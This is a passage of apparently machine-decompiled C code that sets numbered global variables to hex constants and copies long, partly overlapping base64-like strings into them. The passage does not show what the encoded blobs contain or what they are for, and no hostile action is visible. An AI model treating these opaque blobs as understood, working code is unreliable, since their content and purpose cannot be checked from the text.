s3hWea511fB8idliLHC2l1nYd2tklRf04bSMxBlcZadNGXxSgVZxUuAl+ko7uNVefmV/ZI7BWGsb8XuoHcnG3dalSvtoNC7rLrlMfTujYjO7s5PpmsqHB6ZUPLOvpwFen0CFgmw0VskiuRJua+yDPuBT952/0rK8rGeCd740BZzfOf88urO/iaqTDlJSXqnnwSxCg6ETb82RqCQCV7fLIzhflZIVI1jYwDRD52zD/FU3WCrodEeM2HOgCCPqxe0XKNyiYMlJ2AfKgcjIJJRO0PQXQS8XAjF9bscH3jAgucHgd/L8CSAbakddmQoVheibG8whSS4Yn9v5YCwAEKJ4U9yk561d4AF2eE3zX0UU231oSScyGgZL4udKz+vTbY1LP7QyXRtnDL68MIMN2/OEd53/+VLo9KPeeK65Xae5bfYW7xOJfHVAnmd38wMhK3RRGjU0CrUB+doZgQpWK+EE+arsxohuImQiQaeKrA8yK9hWDQsX5ayRyJl/LmvItBoNW/9wlpP80ZHQYBEewqI+yPpysUgd82W7//4uFs5lwPJj30nKg3sJNJM500+FHK9yHrLMYSIckTsok2oUKK1v0JybjS6BZdtcBSuDCo7kGhF39r/YkUICZujPfRurg2WbM+jaw8sN7gKhbgRgv1HukS7Sq0GEif6VwYamTKAV2FIj62LcibRoGnLMb/CzXbbGe7wQJvtv1rxJhvFS4ezJr33/dccs9lhUeWuiFwujna6dmmxoLhY1pnsClCbA2Y78t6xPpBEIG58xAwGERiJcvy4LVXIz78LEa4CZSVTJ2CwGRvHeSt5wvJsmd2AtT2EzKV/sFKK3F5LYMlNatBdm+CaFA5w0AVJI+Vd2Sw/hzkowh7ofqSxRJANXC3ljsiLLX9PgJovhmIX3magDl96lQbtyDcQaaFHGj/rCsKbeHNqDmdvwYThu+N5Aceqm/NAko4PN4jCb8ljdyHedc+a0Ll5f2ktVN57n+W4ABgAz6HSHg6LOEQt+cRLksBYG08tx9x5FBZdwcWAbKInPPuFoYy33AS5IEB+S62I7Pvq933d+O6tIjJAFWiRIu6j38+gjk7S40O/lRcLU4AJh9suzHH3Jhv7SWxRunV8WKa+w2zv/kzn1tALCX3S9QXWESW4BL2+uk4AB3C/R21KuG5Pr1D/BpOjgSlIr2fDt7Ull0CBB8F8MAgbxEx7892eVBXvz2Aa3B3Now17ezS8IGgyJFgpUNnTsvFYCJpmu8ZiCou+4Y9PFE2Aq/JP73dKOewZib9zIPfPrjyONiobPbo1bCl/m+TSdhqUh5FYmcxDK9ISe0ElEdgkTOm6Nix8wvPsODOynqdIeS4JkPGwOBxnp678RIFb24/AnQdHhRFPOl2CEJKX+CH1pmztWjhR+6blLrvP/+UKFwewIrG58534tZfUzl2UQtv7ezYAPP3C0vvWzfSfUJpDPOpgbVTvJyI+3r/g0FhmSJaSIWIKiOIh245BAVrrJ/ZkjMSbu57KCiySaIJdi2+ltpquy0TFCfM2kcGju1SPq3SFDLSN/E3I8TO7WWeIA3Qntm5VqlK2bs8zoaIVgcF4tWs3xpdavYegL1N/96CZdqaJMKfY76tApl6VdxB/vvqc+X2l2uqGAPDpefagUipGU/dpIuJBTMluL5OnrYTs3PqAJpoq0154OyHtwvgrab7nhJFZXa/vl4CnWEXhQ3UUvlQHBhVoqSYRqeE/EKiJjaJtKhL3V+a+PQVniOOylW77dGba3F3h/aQJgZ/7+33utKuh+9eSAJdPZlhNQmncsmObaUJRYxGkYz+ShjASOOqH2ev3aT0Zpx4SvbZBcYF/A1yoX8W7lD0CHMIhogHgmauAu1g1DHViPB+qZgx108f1PxpwfKkG", 365);
  2915.     g363 = 0x18000000;
  2916.     g364 = 0x3f31601c;
  2917.     *(int16_t *)&g365 = 0;
  2918.     g366 = g6;
  2919.     g367 = 1233;
  2920.     memcpy((char *)&g368, "7Sq0GEif6VwYamTKAV2FIj62LcibRoGnLMb/CzXbbGe7wQJvtv1rxJhvFS4ezJr33/dccs9lhUeWuiFwujna6dmmxoLhY1pnsClCbA2Y78t6xPpBEIG58xAwGERiJcvy4LVXIz78LEa4CZSVTJ2CwGRvHeSt5wvJsmd2AtT2EzKV/sFKK3F5LYMlNatBdm+CaFA5w0AVJI+Vd2Sw/hzkowh7ofqSxRJANXC3ljsiLLX9PgJovhmIX3magDl96lQbtyDcQaaFHGj/rCsKbeHNqDmdvwYThu+N5Aceqm/NAko4PN4jCb8ljdyHedc+a0Ll5f2ktVN57n+W4ABgAz6HSHg6LOEQt+cRLksBYG08tx9x5FBZdwcWAbKInPPuFoYy33AS5IEB+S62I7Pvq933d+O6tIjJAFWiRIu6j38+gjk7S40O/lRcLU4AJh9suzHH3Jhv7SWxRunV8WKa+w2zv/kzn1tALCX3S9QXWESW4BL2+uk4AB3C/R21KuG5Pr1D/BpOjgSlIr2fDt7Ull0CBB8F8MAgbxEx7892eVBXvz2Aa3B3Now17ezS8IGgyJFgpUNnTsvFYCJpmu8ZiCou+4Y9PFE2Aq/JP73dKOewZib9zIPfPrjyONiobPbo1bCl/m+TSdhqUh5FYmcxDK9ISe0ElEdgkTOm6Nix8wvPsODOynqdIeS4JkPGwOBxnp678RIFb24/AnQdHhRFPOl2CEJKX+CH1pmztWjhR+6blLrvP/+UKFwewIrG58534tZfUzl2UQtv7ezYAPP3C0vvWzfSfUJpDPOpgbVTvJyI+3r/g0FhmSJaSIWIKiOIh245BAVrrJ/ZkjMSbu57KCiySaIJdi2+ltpquy0TFCfM2kcGju1SPq3SFDLSN/E3I8TO7WWeIA3Qntm5VqlK2bs8zoaIVgcF4tWs3xpdavYegL1N/96CZdqaJMKfY76tApl6VdxB/vvqc+X2l2uqGAPDpefagUipGU/dpIuJBTMluL5OnrYTs3PqAJpoq0154OyHtwvgrab7nhJFZXa/vl4CnWEXhQ3UUvlQHBhVoqSYRqeE/EKiJjaJtKhL3V+a+PQVniOOylW77dGba3F3h/aQJgZ/7+33utKuh+9eSAJdPZlhNQmncsmObaUJRYxGkYz+ShjASOOqH2ev3aT0Zpx4SvbZBcYF/A1yoX8W7lD0CHMIhogHgmauAu1g1DHViPB+qZgx108f1PxpwfKkG", 308);
  2921.     *(char *)&g368 = 55;
  2922.     g369 = -0x40000000;
  2923.     g370 = 0x3f07bfed;
  2924.     *(int16_t *)&g371 = 0;
  2925.     g372 = g6;
  2926.     g373 = 1502;
  2927.     memcpy((char *)&g374, (char *)&g41, 375);
  2928.     *(int16_t *)&g374 = *(int16_t *)&g41;
  2929.     g375 = -0x21a00000;
  2930.     g376 = 0x3f8e66cb;
  2931.     *(int16_t *)&g377 = 0;
  2932.     g378 = g6;
  2933.     g379 = v3;
  2934.     memcpy((char *)&g380, "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", 365);
  2935.     g381 = -0x78000000;
  2936.     g382 = 0x3f45f817;
  2937.     *(int16_t *)&g383 = 0;
  2938.     g384 = g6;
  2939.     g385 = 1233;
  2940.     memcpy((char *)&g386, "pG948eDxVi0c9rz6Pd9pWkCcyRpQUog0FbjWSyjpJWGlcrbeozcHnn2QmmQfUqWU+Go8pSN175xlKqIP1cT5EzU5oIR7Sj5jVO7miqlawsIW33WxlqhkE2SRRUtyoPRajun58cyRimEvyxEEpLD4yfRSNbFEJcWsFp3p8bfbgIc8iQDibQy2u9QmB3g08sJ5IIvrDPUg9UDxblaYNQjYb2zirFVOVo2DMg8PSfqh/HQ0ciaS6HXqNDK/pDKHGtCZYDQcO/+g5Y5lZHYepv4hIpB+ELnZ4Xxu5Vp2XoVFS1eiDn2yo96UESRijzinXihwqNAM7Lt86kBes2O2MVZ8JVAWb3pgk4HmSdS4GTMZsiaUSKVsWoZgcFKfa9wh80hx0nQ4gRa68JKMzXGARH9tyVjcBZo5vl3dKCFGVDnWGWASQhy6Csm4cesk8RhDCqx+O1iQArLcEUB3FrlR8tTjKKqT3vsiL6E282UtpLUFTIHvEiJhD6vgUyKNcKo9kNXbVhvBlw77cA8c3Kz8J1y8S691n6CQZn5FObY8LvAFP7wJQNGxh4wIin9TF9aRFQdNqvXCdo87VL4z563yfHa/UpZgwhvV/qcMp/jP5jHJ8ZFFy56mnDY30U3xcb5eLywoswW6csMqjKWNpHZFYzPG4pU59RbRoDCKpPgPSW0ITE1UvYkIKtRpgMG0MzeAQTsZGpeN9h+3wHxhjhsxiDRYahqK7fOQe+zlYiuatYPp8MzQaQ5NvDR+0fF2Dqln+cli5NmRH6lPN6nxC2VQL1MlmpfrlAY7dvJ7HL4CybAjratuWKCpg8MSYYgAc5hYy/9PnlEIgeNPT92QbJnhQN7hDoyFMYpJrnjshCFarUnyK4duVjUSXcEyXv9hXhpe2ONRzkF4x+C/1XPtgqp2MrXWy2xsQ18e1MWoFTmnDOpqP+clh0I24+Gks5khU2eCJPsSzJO6NlrUDWLrm+cD+QSWjzWnU4W/pUFxMcNalo4hsmgKIMRre4n6lFwhtcdCFR+AYeA0Yewgt3c0YNTPy/CaB8JjnKBFug0KMkVMRQ9ffdNsROJeIAvMT6baMWHrxYZzgcjdDREH4LiaB3FoVonoJ/XJmvXUDSwsJYaThffhLlXS7poH/UmRhX8rJ1QoSMz7vXhxKl6TOMuX+3Q3bKY4mQGAT5ptJdS4cPnRuhyaUgGdABBu7T39OP/OBRFgdyvlKQO2rNrIQQIz1kfRY", 308);
  2941.     *(char *)&g386 = 112;
  2942.     g387 = -0x40000000;
  2943.     g388 = 0x3f06f1a2;
  2944.     *(int16_t *)&g389 = 0;
  2945.     g390 = g6;
  2946.     g391 = 1502;
  2947.     memcpy((char *)&g392, (char *)&g42, 375);
  2948.     *(int16_t *)&g392 = *(int16_t *)&g42;
  2949.     g393 = 0x60000000;
  2950.     g394 = 0x3f0fcd83;
  2951.     *(int16_t *)&g395 = 0;
  2952.     g396 = g6;
  2953.     g397 = v3;
  2954.     memcpy((char *)&g398, "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", 365);
  2955.     g399 = 0x22000000;
  2956.     g400 = 0x3f424cab;
  2957.     *(int16_t *)&g401 = 0;
  2958.     g402 = g6;
  2959.     g403 = 1233;
  2960.     memcpy((char *)&g404, "Aerr1rcEnOrGccXjpe5VlYBzdZv7janZ2d7k8DKIUfKrfL0Q02s4KYBrClScqHuKD+nZiAGlUF3LdVdAbKlbY0B0Of/7J6XTHXiX117oSxucY8LkL6kjuxNdUwYJwuBESmeb3FdNRtgbwvT9SHDJjqwnsYiSBgkXLG5yOwMoa9xMbTaxq6jScOR81odD7ClAylSXnuUCHbUdpyTb0cZR4Z/MnoJeyB8FmnDVicluS9fCXLtEX4BPaGEeUu8PxjEfvztqGOTvRbZqgSHUZB94hRCRtrH6HtUDPxM/iwwByADEGgeM84KLSpHzDSs5wZe2aBWnZGndNgClZmvhUvJSJ1F+MfK40MCoM1fP2TYL6iAA/NjQqFHG7TDnejw5sUnXDDfLCpD/HcKPvroPsC9qrigimwlEn4KLtEI3Ic0xpDeDiHwnOpJKWtxnz46IKnjadOn8Rwnwx9sW3wumyAzORT9pSht+NJEfVqSofR2msfVBk/nwjbPpXc9cw3Cj20My4iHG9G4ARN1GqwO2xH8vQDaUsn7Qw5fT2aY5JJdMz2vPXMYKI8QNhVbo+xa6vj7fod/QHKmKUhGD9j1MVh90zMBJK46TU8otxH+QyRypl1gLUR84ekXdh1O/zJilI9DBTj67LIG1NtO6bEti0APLCcWaQ06vgvTtMOzIHvpPgk3MHgrC9VgTwOb5sYhsVBj3oBC1L2KQXHAza+9UBML8RXx3AbWmbNv7wtGvBJ/2NlQXGEXm5G3Ecjp/i/COEUJzljxZ5ueMaaqdDj0/WXK9d/UQiHT742mCLfi/SkPkd+STSCcsLdwZ7vHDF4txL5Pa2W3ArpVLhQRoU/mNqVIyObXCm6O2atx6H7k9hHfYxX2btGBO4e9Wyz+KrieA6wXQSAIERL1SDoEq0ScCwzoUrrlcYVi+9wdjVuPzY6wN28tmhiYO7Q+UFFfP/bcJ4FTPy5qnpEnX6v+n88x+C1TSRKCzHZ9osGZF3WtNaDyBIirDNBcOtpV0TcMLaoZiSGg7YW1BrYdfwMKBsYuKJRWwZkhWE+eFof/Ewh9W8LWe7JEzAvvJYtQ7NvSw+c9ESHesxkplngceIndRgnvCLX7wXm3hfa4vmNWdsNkYmogq2NlyqNwIoati8rcwQ6B69YaXTZBG1wXqRaLa7lUDf0Irv1081m+qjzOr4bdHkla/uduD62SY1Oe4sfNcUHLpDtHW05OCUj7HyIV1cOr2a", 308);
  2961.     *(char *)&g404 = 65;
  2962.     g405 = 0;
  2963.     g406 = 0x3f074903;
  2964.     *(int16_t *)&g407 = 0;
  2965.     g408 = g6;
  2966.     g409 = 1502;
  2967.     memcpy((char *)&g410, (char *)&g43, 375);
  2968.     *(int16_t *)&g410 = *(int16_t *)&g43;
  2969.     g411 = -0x3f000000;
  2970.     g412 = 0x3f8e8bd6;
  2971.     *(int16_t *)&g413 = 0;
  2972.     g414 = g6;
  2973.     g415 = v3;
  2974.     memcpy((char *)&g416, "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", 365);
  2975.     g417 = 0x60000000;
  2976.     g418 = 0x3f08eb5e;
  2977.     *(int16_t *)&g419 = 0;
  2978.     g420 = g6;
  2979.     g421 = 1233;
  2980.     memcpy((char *)&g422, "4dEpHuTT9Ui8qG3rRJNqo8SIEiJRq45TaKwqe+3YYXd9XxMNFyVo/IqzSSTBPFrsBPVV4o+Nd7xjH1ecNRIf2fJ3gQAYQh6lQis099aK4nIgLW9ZOkKq17SZ+qPg2E6hSpMlPbCmyYny+TeADbFeVISsOUU2ln4x9ooZOM1e4K65oTdJwD+7/hffFhGwY5c0WbBY1jx42a0ypDNIEIfT+olrHtrEx7cYG4OiC8G+hHgBy2hfJeph1K2jV1bUyWbKAv/hLn0JZFvv3GE7+jxL4ZH3IFgH4nzYopsJUNYB816bjYMbrLB7iTnycV9wMGv9xDRFyK4970/NP2atXeFYdQnW2W6ZD/k4PrxF/h+7s9fDjyb2KxS+lcYIp1AX76nRgl6U8a9z6gqCQjgTyU70SUBliFu/2NYLdOzbWyc3HGnsNOaKGfs0Y6mFU7sjLtIfdgZsV4ODfrFynl0a+nwiSv12XWrCgeKfCsyL7P1lDbC5hq1TQ7DBLberorm9rqvvRv2IkepTh2rTjfQk6Zios9dieq6ZiFemrwRmtvpJd4PcEQ4jccpuOFAjHMGisyHLrqKV9rdP4nzEEO79xX4ROZIpMXNMWxe3k0hYzxb8TwY1IgufxKVqbP4RQIHxWMMVmgzxYXOEhGuXgHttYwGtpyFECliqAulAYEJmy/VVl/AMfkoANrP1MjaHpgP1VCmQTrxW+19f0e1rda6HDDO9HoJzO7dbU/WKfHxV4FGwBp1tFY9WKX18W9pc1rOZqKNZe9dtKQ44Cp7QqUT8L1iuN7o5H7yN5bpIxljrCS/X